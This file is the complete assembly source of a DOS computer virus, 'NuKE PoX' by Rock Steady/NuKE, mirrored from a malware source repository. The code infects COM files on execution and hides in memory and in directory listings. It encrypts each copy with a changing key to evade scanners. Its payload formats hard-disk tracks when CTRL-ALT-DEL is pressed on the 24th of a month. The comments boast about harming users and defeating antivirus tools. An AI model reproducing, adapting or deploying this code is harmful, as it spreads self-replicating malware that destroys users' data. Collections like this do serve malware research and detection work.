mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-20 18:36:10 +00:00
347 lines
26 KiB
NASM
347 lines
26 KiB
NASM
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
|
;-* (c) Rock Steady, Viral Developments -*
|
|
;*- (c) NuKE Software Developement 1991, 1992 *-
|
|
;-* Virus: NuKE PoX Version 1.0 (Alias `Mutating Rocko') -*
|
|
;*- ~~~~~~ *-
|
|
;-* Notes: COM Infector, Hooks Int 9h & Int 21h, Memory Stealthness -*
|
|
;*- ~~~~~~ Dir Stealthness (FCB Way), Encrypting Virus (100 different *-
|
|
;-* Encrypted Copies of the Virus) -*
|
|
;*- Bytes: 609 Bytes Memory: (609 * 2) = 1,218 Bytes *-
|
|
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
|
crypt_size equ crypt - init_virus ;All that gets Incrypted
|
|
virus_size equ last - init_virus ;Size of the Virus
|
|
mut1 equ 3
|
|
mut2 equ 1
|
|
mut3 equ 103h
|
|
del_code equ 53h ;CTRL-ATL-DEL Key
|
|
seg_a segment byte public
|
|
assume cs:seg_a, ds:seg_a
|
|
org 100h
|
|
rocko proc far
|
|
|
|
start: jmp init_virus ;+3 bytes
|
|
;-*-*-*-*-*-*-*-*-[Start of Virus]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
|
init_virus: call decrypt ;Decryption Routine Please ;+3 Bytes
|
|
call doit_now ;Doit VirusMan... ;+3 Bytes
|
|
;========
|
|
doit_now: pop bp ;Anything ABOVE THIS LINE 9 Bytes
|
|
sub bp,109h ;have to be added to the 100h! This
|
|
push ax ;SETs our `Delta Pointer'.
|
|
push bx
|
|
push cx
|
|
push dx ;Save registers
|
|
push si
|
|
push di
|
|
push bp
|
|
push es
|
|
push ds
|
|
|
|
mov ax,0abcdh ;Are we resident Already?
|
|
int 21h
|
|
cmp bx,0abcdh ;Yupe... Quit Then...
|
|
je exit_com
|
|
|
|
push cs ;Get CS=DS
|
|
pop ds
|
|
mov cx,es
|
|
|
|
mov ax,3509h ;Hook Int 9 Please...
|
|
int 21h
|
|
mov word ptr cs:[int9+2][bp],es ;Save Orignal Int 9h
|
|
mov word ptr cs:[int9][bp],bx ;Save Orignal Int 9h
|
|
|
|
mov ax,3521h ;Some AVs may INTCEPT this Call!
|
|
int 21h ;May be better to go Manually...
|
|
mov word ptr cs:[int21+2][bp],es ;Save the Int
|
|
mov word ptr cs:[int21][bp],bx ;Vector Table
|
|
|
|
dec cx ;Get a new Memory block
|
|
mov es,cx ;Put it Back to ES
|
|
mov bx,es:mut1
|
|
mov dx,virus_size+virus_size ;Size to `Hide'
|
|
mov cl,4 ;And all this crap hides
|
|
shr dx,cl ;your number of bytes in DX
|
|
add dx,4
|
|
mov cx,es
|
|
sub bx,dx
|
|
inc cx
|
|
mov es,cx
|
|
mov ah,4ah ;Call int to do it...
|
|
int 21h
|
|
|
|
jc exit_com
|
|
mov ah,48h
|
|
dec dx
|
|
mov bx,dx ;It's Done... Yeah!
|
|
int 21h
|
|
|
|
jc exit_com
|
|
dec ax
|
|
mov es,ax
|
|
mov cx,8h ;Here we move our Virus into
|
|
mov es:mut2,cx ;the `Hidden' memory!
|
|
sub ax,0fh
|
|
mov di,mut3
|
|
mov es,ax
|
|
mov si,bp
|
|
add si,offset init_virus
|
|
mov cx,virus_size
|
|
cld
|
|
repne movsb
|
|
|
|
mov ax,2521h ;Restore Int21 with ours
|
|
mov dx,offset int21_handler ;Where it starts
|
|
push es
|
|
pop ds
|
|
int 21h
|
|
|
|
mov ax,2509h ;Restore Int9 with ours
|
|
mov dx,offset int9_handler ;The Handler...
|
|
int 21h
|
|
|
|
push cs
|
|
pop ds
|
|
exit_com:
|
|
mov bx,offset buffer ; Its a COM file restore
|
|
add bx,bp ; First three Bytes...
|
|
mov ax,[bx] ; Mov the Byte to AX
|
|
mov word ptr ds:[100h],ax ; First two bytes Restored
|
|
add bx,2 ; Get the next Byte
|
|
mov al,[bx] ; Move the Byte to AL
|
|
mov byte ptr ds:[102h],al ; Restore the Last of 3 Byt
|
|
pop ds
|
|
pop es
|
|
pop bp ; Restore Regesters
|
|
pop di
|
|
pop si
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
mov ax,100h ; Jump Back to Beginning
|
|
push ax ; Restores our IP (a CALL
|
|
retn ; Saves them, now we change
|
|
int21 dd ? ;Our Old Int21
|
|
int9 dd ? ;Our Old Int9
|
|
;-*-*-*-*-*-*-*-*[Int 9h Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
|
int9_handler:
|
|
push ax
|
|
in al,60h ;Has the user attempted a
|
|
cmp al,del_code ;CTRL-ALT-DEL
|
|
je warm_reboot ;Yes! Screw him
|
|
bye_bye: pop ax
|
|
jmp dword ptr cs:[int9] ;Nope, Leave alone
|
|
warm_reboot:
|
|
mov ah,2ah ;Get Date Please
|
|
int 21h
|
|
cmp dl,18h ;Is it 24th of the Month?
|
|
jne bye_bye ;Yes, bye_Bye HD
|
|
mov ch,0
|
|
hurt_me: mov ah,05h
|
|
mov dh,0
|
|
mov dl,80h ;Formats a few tracks...
|
|
int 13h ;Hurts So good...
|
|
inc ch
|
|
cmp ch,20h
|
|
loopne hurt_me
|
|
db 0eah,0f0h,0ffh,0ffh,0ffh ;Reboot!
|
|
iret
|
|
;-*-*-*-*-*-*-*-*-[Dir Stealth Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
|
dir_handler:
|
|
pushf
|
|
push cs
|
|
call int21call ;Get file Stats
|
|
test al,al ;Good FCB?
|
|
jnz no_good ;nope
|
|
push ax
|
|
push bx
|
|
push es
|
|
mov ah,51h ;Is this Undocmented? huh...
|
|
int 21h
|
|
|
|
mov es,bx
|
|
cmp bx,es:[16h]
|
|
jnz not_infected ;Not for us man...
|
|
mov bx,dx
|
|
mov al,[bx]
|
|
push ax
|
|
mov ah,2fh ;Get file DTA
|
|
int 21h
|
|
|
|
pop ax
|
|
inc al
|
|
jnz fcb_okay
|
|
add bx,7h
|
|
fcb_okay: mov ax,es:[bx+17h]
|
|
and ax,1fh ;UnMask Seconds Field
|
|
xor al,1dh ;Is in 58 seconds?
|
|
jnz not_infected ;Nope...
|
|
and byte ptr es:[bx+17h],0e0h
|
|
sub es:[bx+1dh],virus_size ;Yes minus virus size
|
|
sbb es:[bx+1fh],ax
|
|
not_infected:pop es
|
|
pop bx
|
|
pop ax
|
|
no_good: iret
|
|
;-*-*-*-*-*-*-*-*[Int 21h Handler]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
|
int21_handler:
|
|
cmp ax,4b00h ;File executed
|
|
je execute
|
|
cmp ah,11h ;Dir handler
|
|
je dir_handler
|
|
cmp ah,12h ;Next file Dir handler
|
|
je dir_handler
|
|
cmp ax,0abcdh ;Virus testing
|
|
jne int21call
|
|
mov bx,0abcdh
|
|
int21call:
|
|
jmp dword ptr cs:[int21] ;Split...
|
|
ret
|
|
execute:
|
|
push ax
|
|
push bx
|
|
push cx
|
|
push dx
|
|
push si
|
|
push di
|
|
push es
|
|
push ds
|
|
|
|
mov ax,4300h ;Get file Attribs
|
|
int 21h
|
|
jc exit
|
|
|
|
test cl,1h ;Make sure there normal
|
|
jz open_file ;Okay there are
|
|
and cl,0feh ;Nope, Fix them...
|
|
mov ax,4301h ;Save them now
|
|
int 21h
|
|
jc exit
|
|
|
|
open_file: mov ax,3D02h
|
|
int 21h ;Open File to Infect please
|
|
|
|
jc exit ;Error Split
|
|
mov bx,ax ;BX File handler
|
|
mov ax,5700h ;Get file TIME + DATE
|
|
int 21h
|
|
|
|
mov al,cl
|
|
or cl,1fh ;Un mask Seconds
|
|
dec cx ;60 seconds
|
|
dec cx ;58 seconds
|
|
xor al,cl ;Is it 58 seconds?
|
|
jz exit ;File already infected
|
|
|
|
push cs
|
|
pop ds
|
|
mov word ptr ds:[old_time],cx ;Save Time
|
|
mov word ptr ds:[old_date],dx ;Save Date
|
|
|
|
mov ah,3Fh
|
|
mov cx,3h
|
|
mov dx,offset ds:[buffer] ;Read first 3 bytes
|
|
int 21h
|
|
|
|
jc exit_now ;Error Split
|
|
mov ax,4202h ;Move file pointer to end
|
|
xor cx,cx ;of file...
|
|
xor dx,dx
|
|
int 21h
|
|
|
|
jc exit_now ;Error Split
|
|
cmp word ptr cs:[buffer],5A4Dh ;Is file an EXE?
|
|
je exit ;Yupe! Split
|
|
mov cx,ax
|
|
sub cx,3 ;Set the JMP
|
|
mov word ptr cs:[jump_address+1],cx
|
|
call infect_me ;Infect!
|
|
jc exit_now ;error split
|
|
mov ah,40h ;Write back the first 3
|
|
mov dx,offset ds:[jump_address] ;bytes
|
|
mov cx,3h
|
|
int 21h
|
|
exit_now:
|
|
mov cx,word ptr cs:[old_time] ;Restore old time
|
|
mov dx,word ptr cs:[old_date] ;Restore Old date
|
|
mov ax,5701h
|
|
int 21h
|
|
|
|
mov ah,3Eh
|
|
int 21h ;Close File now...
|
|
exit:
|
|
pop ds
|
|
pop es
|
|
pop di
|
|
pop si
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
jmp dword ptr cs:[int21] ;Jmp back to whatever
|
|
rocko endp
|
|
;-*-*-*-*-*-*-*-*-*[Infection Routine]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
|
infect_me proc near
|
|
mov ah,2ch ;Get Time
|
|
int 21h
|
|
push dx ;Split seconds to AX
|
|
pop ax
|
|
mov byte ptr cs:[value],al ;AL = 0 to 99
|
|
;New Encryption Value
|
|
mov cx,virus_size
|
|
push cs
|
|
pop es ;Copy ANOTHER copy of the
|
|
mov si,offset init_virus ;Virus to the end of us
|
|
mov di,offset last
|
|
repne movsb
|
|
|
|
mov cx,crypt_size
|
|
sub cx,3h ;Encrypt that 2nd copy!
|
|
push bp
|
|
mov bp,offset last + 3h
|
|
call decrypt_encrypt
|
|
pop bp
|
|
|
|
mov ah,40h ;Write the New Encrypted
|
|
mov dx,offset last ;Virus to File!
|
|
mov cx,virus_size
|
|
int 21h
|
|
|
|
jc exit_error ;Error Split
|
|
mov ax,4200h
|
|
xor cx,cx ;Pointer back to beginning
|
|
xor dx,dx ;file!
|
|
int 21h
|
|
|
|
jc exit_error ;Split Dude...
|
|
clc ;Clear carry flag
|
|
retn
|
|
exit_error:
|
|
stc ;Set carry flag
|
|
retn
|
|
infect_me endp
|
|
old_time dw ?
|
|
old_date dw ?
|
|
jump_address db 0E9h,90h,90h
|
|
buffer db 90h,0CDh,020h
|
|
crypt:
|
|
msgs db "(c) Rock Steady/NuKE" ;No other than `Moi'...
|
|
;-*-*-*-*[Simple BUT EFFECTIVE Encryption/Decryption Routine]-*-*-*-*-*-*-
|
|
decrypt proc near
|
|
pop bp
|
|
push bp
|
|
mov al,byte ptr [value-106h][bp] ;Get new Encryption
|
|
mov cx,crypt_size ;Value
|
|
decrypt_encrypt:
|
|
xor cs:[bp],al ;Fuck Scanners and put a
|
|
;***************************************************************************
|
|
not al
|
|
inc bp ;`NOT AL' anywhere here...
|
|
loop decrypt_encrypt
|
|
retn
|
|
value db 00h ;Encryption value!
|
|
decrypt endp
|
|
last:
|
|
seg_a ends
|
|
end start
|